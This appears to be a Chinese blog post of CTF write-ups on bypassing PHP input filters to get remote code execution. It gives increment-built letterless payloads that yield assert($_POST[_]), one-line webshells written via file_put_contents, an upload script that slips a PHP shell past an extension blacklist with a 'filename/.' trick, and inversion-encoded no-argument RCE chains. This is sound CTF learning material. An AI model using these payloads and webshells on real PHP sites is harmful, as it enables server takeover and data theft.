关于自增
自增(Increment)通常指的是将某个值增加一个固定的增量。在编程中,自增通常用于循环计数、迭代或者更新变量的值等情况。
在许多编程语言中,自增操作可以通过使用 ++
符号来完成。例如,在C语言中,++
操作符可以用于将变量的值增加1。
例如:
<?php
$_++;
这儿我们对$_变量进行了自增操作,但是我们没有给变量$_进行定义值,那么php会自己给$_赋一个默认的值NULL==0
可以发现,我们对$_进行了自增操作,最开始他的默认值是0,进行自增后他的值就为1了。
因此,当我们在不能使用数字的情况下,我们可以通过对未定义变量进行自增操作来得到我们想要的数字
"A"++ ==> "B"
"B"++ ==> "C"
如果我们有字母A的话,那我们就可以通过自增自减,得到我们所需要的字母。
但问题就是,没有字母怎么办呢,我们要怎么才能得到一个字母A呢
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。
<?php
$a = ''.[];
var_dump($a);
<?php
$_=[].''; // 将空数组转换为字符串,得到"Array",赋值给变量$_
$___ = $_[$__]; // 从$_中获取索引为$__的字符,由于$__没有定义,默认为0,因此$___得到"A"
$__ = $___; // 将$___的值赋给$__,现在$__的值也是"A"
$_ = $___; // 将$___的值赋给$_,现在$_的值也是"A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // 得到"S",现在$__的值为"S"
$___ .= $__; // 将$__追加到$___后面,现在$___的值为"AS"
$___ .= $__; // 再次将$__追加到$___后面,现在$___的值为"ASS"
$__ = $_; // 将$_的值赋给$__,现在$__的值为"A"
$__++;$__++;$__++;$__++; // 得到"E",现在$__的值为"E"
$___ .= $__; // 将$__追加到$___后面,现在$___的值为"ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; // 得到"R",现在$__的值为"R"
$___ .= $__; // 将$__追加到$___后面,现在$___的值为"ASSER"
$__++;$__++; // 得到"T",现在$__的值为"T"
$___ .= $__; // 将$__追加到$___后面,现在$___的值为"ASSERT"
$__ = $_; // 将$_的值赋给$__,现在$__的值为"A"
$____ = "_"; // 定义变量$____为"_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // 得到"P",现在$__的值为"P"
$____ .= $__; // 将$__追加到$____后面,现在$____的值为"_P"
$__ = $_; // 将$_的值赋给$__,现在$__的值为"A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // 得到"O",现在$__的值为"O"
$____ .= $__; // 将$__追加到$____后面,现在$____的值为"_PO"
$__++;$__++;$__++;$__++; // 得到"S",现在$__的值为"S"
$____ .= $__; // 将$__追加到$____后面,现在$____的值为"_POS"
$__++; // 得到"T",现在$__的值为"T"
$____ .= $__; // 将$__追加到$____后面,现在$____的值为"_POST"
$_ = $$____; // 将$_POST赋值给$_
因此我们在写题时,就可以通过自增操作得到POST传参,执行RCE
//测试发现7.0.12以上版本不可使用
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式:通过自增构造出来的等于assert($_POST[_]);
[SWPUCTF 2021 新生赛]hardrce_3
打开环境,进行代码审计,是无字母RCE,并且也过滤了异或和取反,那就只能进行自增绕过了
//测试发现7.0.12以上版本不可使用
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式:通过自增构造出来的等于assert($_POST[_]);
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
我们构造url:
url/?wllm=$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
然后我们在POST传参传入:
_=phpinfo();
看到他过滤了很多,但没有过滤 file_put_contents函数,那我们就利用file_put_contents函数构造POST传参一句话木马,然后用蚁剑连接
构造POST传参:
_=file_put_contents('2.php','<?php eval($_POST[1]);?>');
使用蚁剑连接,得到flag
[HNCTF 2022 Week1]Challenge__rce
打开界面,什么都没有,看一下源代码,直接访问hint
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
RCE,进行代码审计,检查 $rce 的长度是否不超过 120 个字符。
检查 $rce 是否是一个字符串类型
使用正则表达式检查 $rce 中是否包含某些特殊字符。
如果 $rce 满足上述条件,则使用 eval 函数执行 $rce 中的代码。
考无参数RCE,并且过滤了^和~,不能使用取反与异或,那就只能使用自增了
使用祖传playload看一看
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
它显示太长了,那就换种形式,我们构造参数,再上传参数,以达到减少长度的目的
$_=[]._; # 将一个空数组的引用赋给 $_,然后连接其字符串表示形式,并将结果赋给 $_。
$__=$_[1]; # 将 @_ 的第二个元素(也就是 $_)赋给 $__。
$_=$_[0]; # 将 @_ 的第一个元素赋给 $_。
$_++; # 将 $_ 的值增加 1。
$_1=++$_; # 再次将 $_ 的值增加 1,并赋值给 $_1。
$_++; $_++; $_++; $_++; # 将 $_ 增加 4 次。
$_=$_1.++$_.$__; # 将 $_1、$_ 增加 1 后的值、$__ 连接起来,并赋值给 $_。
$_=_.$_(71).$_(69).$_(84); # 将字符串 'GET' 与 ASCII 编码为 'H'、'E'、'T' 的字符连接起来,并赋值给 $_。
$$_[1]($$_[2]); # 使用 @_ 数组的第二个元素所引用的子程序,并将第一个元素作为参数传递给它。
构造playload:
rce=$_=[]._;$_3=$_[1];$_=$_[3];++$_;$_1=++$_;++$_;++$_;++$_;++$_;$_=$_1.++$_.$_3;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
我们使用POST传参传入了1和2两个变量
然后再使用GET传参,1=system&2=ls
接着查看根目录 2=ls /
找到flag,直接cat 2=cat /ffflllaaaggg
[FSCTF 2023]是兄弟,就来传你の🐎!
打开后是文件上传的界面,直接上传一句话木马并抓包看一看
修改了MIME,添加了文件头,再双写php进行绕过,它提示文件内容里不能又php,那我们就把php改为=(就是改成php短标签)
得,它又提示内容太长了。。。。文件头使用BM就行,直接在里面命令执行吧,并且短标签不闭合也能执行,所以文件内容
BM<?=`cat /f*`;
然后访问我们得/upload/eeae9d483b3acbdae7d9b5274623d317/shell.phphpp
。。。。看了大佬们得WP,它们文件后缀改得pht
再访问一下/upload/e06d08860a3c8499a65dacefc3d9e5e2/shell.pht
我也不知道是为什么???
[NSSCTF 2nd]php签到
<?php
function waf($filename){
$black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}
if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{
highlight_file(__FILE__);
}
首先,代码定义了一个名为 waf 的函数,用于执行一个简单的文件扩展名检查来防止上传恶意文件。
$black_list 是一个存储不允许的文件扩展名的数组,如 “ph”、“htaccess” 和 “ini”。
pathinfo($filename, PATHINFO_EXTENSION) 用于获取上传文件的扩展名。
在 foreach 循环中,代码检查上传文件的扩展名是否在黑名单中。如果扩展名在黑名单中,函数返回 false,否则返回 true。如果用户通过 POST 请求上传了文件(if(isset($_FILES['file'])) 部分):
urldecode($_FILES['file']['name']) 用于获取上传文件的名称,并对其进行 URL 解码。
file_get_contents($_FILES['file']['tmp_name']) 用于获取上传文件的临时路径并读取其内容。
waf($filename) 调用了上述定义的 waf 函数,检查上传文件的扩展名是否在黑名单中。
如果通过检查(返回 true),则使用 file_put_contents($filename, $content) 将上传文件的内容写入服务器上的一个新文件。
如果未通过检查(返回 false),则显示 “Please re-upload”,即要求用户重新上传文件。如果没有上传文件的 POST 请求(else 部分):
highlight_file(__FILE__) 用于将当前代码文件的内容高亮显示在浏览器中,使用户能够查看代码。
上传文件名被黑名单ph,htaccess,ini检测,但是pathinfo检测到filename.extension/.时,PATHINFO_EXTENSION被检测为空,空不在黑名单里面,就能绕过检测
上传一个1.php/.,在file_put_contents函数,如果filename为1.php/.,就会在当前目录创建一个名为1.php的文件,从而实现传马。
但是因为没有上传点,我们可以使用脚本上传
import requests
# 设置目标 URL
url = "http://node5.anna.nssctf.cn:27625/"
# 准备要上传的文件名和文件内容
filename = "1.php%2f." # 文件名,/经过 URL 编码
content = "<?php system($_GET[1]);?>" # 文件内容,一个简单的 PHP 代码,用于执行系统命令
# 构造文件参数,使用元组 (文件名, 文件内容) 形式,并放入字典中
file = {"file": (filename, content)}
# 发送 POST 请求,上传文件
re = requests.post(url=url, files=file)
# 打印响应内容
print(re.text)
上传之后,我们访问1.php,然后再使用GET传参?1=export,查看环境变量,再环境变量中找到了flag
[CISCN 2023 初赛]Sign_in_passwd
打开后得到文本,就是换表得base64编码,第一行就是密文,第二行是表,但第二行表套了一层url编码,解码后直接base64解码即可
j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5
[鹏城杯 2022]简单的php
打开环境
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
}
?>
代码审计
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|
|\ |,|.|-|+|=|/|\|<|>|$|?|^|&||/is',$code)){ die(' Hello'); }`:这个条件语句用于检查传入的代码。如果传入的代码长度大于80个字符,或者包含特定的字符(如字母、数字、空格、引号等),则会输出 "Hello" 并终止程序。
else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){ @eval($code); }
:这个条件语句检查传入的代码是否包含分号 ";",如果是,则尝试执行传入的代码。
无参数RCE,并且过滤了数字字母,这儿我们可以使用取反进行绕过,思路就是通过没有参数的函数达到命令执行的目的
<?php
echo urlencode(~"phpinfo"); #~是取反符号
?>
得到~%8f%97%8f%96%91%99%90
这儿我们需要通过[] 来执行
[~%8f%97%8f%96%91%99%90] 这里意思就是 [phpinfo]
[] 会进行执行 然后将返回内存存储为数组 然后我们需要取出数组内的东西
[~%8f%97%8f%96%91%99%90][!%ff] 这里是phpinfo
[!%ff] 这里类似于 [0] 会获取到第一位 即phpinfo
然后补上括号即可
[~%8f%97%8f%96%91%99%90][!%FF]();
执行成功,说明这个方法可以使用,接下来我们就要通过没有参数的函数达到命令执行的目的,看了师傅们得WP,总结了一下无参数RCE需要用到得命令
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
current() -输出数组中的当前元素的值。
scandir() //函数返回指定目录中的文件和目录的数组。
localeconv() //返回一包含本地数字及货币格式信息的数组。
current() //返回数组中的单元,默认取第一个值。
getcwd() //取得当前工作目录
dirname() //函数返回路径中的目录部分。
array_flip() //交换数组中的键和值,成功时返回交换后的数组
array_rand() //从数组中随机取出一个或多个单元
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
dirname(chdir(dirname()))配合切换文件路径
这题可以使用getallheaders函数(返回当前请求的所有请求头信息)来构造,再使用current函数来返回当前元素的值
system(current(getallheaders()));
进行取反
[~%8C%86%8C%8B%9A%92][!%FF]([~%9C%8A%8D%8D%9A%91%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
传入后再随便传入一个参数进行命令执行即可